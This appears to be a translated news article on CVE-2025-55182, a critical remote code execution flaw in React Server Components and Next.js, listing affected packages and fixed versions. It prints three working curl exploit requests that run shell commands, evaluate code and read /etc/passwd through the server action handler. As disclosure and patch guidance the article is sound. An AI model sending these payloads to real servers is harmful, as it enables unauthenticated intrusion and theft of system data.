The server components of the React web framework (RSC, React Server Components) have had a vulnerability (CVE-2025-55182) removed, which allowed arbitrary code execution on the server via a request to the server handler. The vulnerability has been assigned a critical severity level (10 out of 10). It manifests in the experimental components react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack, used for executing functions and generating user interface elements on the server rather than on the client side.
The issue is caused by unsafe deserialization of data received in HTTP requests to server handlers. The handlers ‘vm#runInThisContext’, ‘vm#runInNewContext’, ‘child_process#execFileSync’, and ‘child_process#execSync’ can be used to execute commands in the system or run JavaScript code in the context of the current process (bypassing sandbox isolation). It is also possible to use the handlers ‘fs#readFileSync’ and ‘fs#writeFileSync’ for reading and writing arbitrary files. server, depending on the current access rights. Authentication is not required for the attack. A prototype exploit is available. # Running the whoami command curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}’ # Executing JavaScript code 1+1 curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}’ # Reading the file /etc/passwd curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}’
The vulnerability of systems depends on the use of vulnerable server components react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. Applications not using react-server are not affected by this vulnerability. The extent of the vulnerability's coverage in operational systems utilizing React is not yet clear. On one hand, React is one of the most popular web frameworks (used on approximately 6% of websites), and the vulnerable components are mainly developed in the main repository and included in releases. Vulnerable components are also supported in React-based frameworks like Next.js and react-router. According to Wiz Research, vulnerable instances have been found in 39% of analyzed cloud environments.
On the other hand, content generation on the server through React Server Components are not a frequently used feature (most React sites only render the interface on the client side), and vulnerable components are marked as experimental and do not guarantee correct operation. These components have relatively few direct downloads from the NPM repository: react-server-dom-webpack — 670 thousand per week, react-server-dom-parcel — 7 thousand, and react-server-dom-turbopack — 32 thousand; for comparison, the React NPM package has 45 million downloads per week.
The vulnerability is present in versions React 9.0.0, 19.1.0, 19.1.1, and 19.2.0, and has been fixed in the updates React 19.0.1, 19.1.2, and 19.2.1. Vulnerable components are also used in packages Next.js (16 million downloads per week), react-router (20 million downloads per week), waku, @parcel/rsc, @vitejs/plugin-rsc, and rwsdk.
In the Next.js framework, the vulnerability (CVE-2025-66478) affects applications using App Router and Next.js branches 15.x and 16.x. It is claimed that the vulnerability manifests in the default configuration of Next.js (the standard application created by the create-next-app utility is vulnerable). Users are advised to install the Next.js updates 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, or 16.0.7 as soon as possible.
Source: opennet.ru
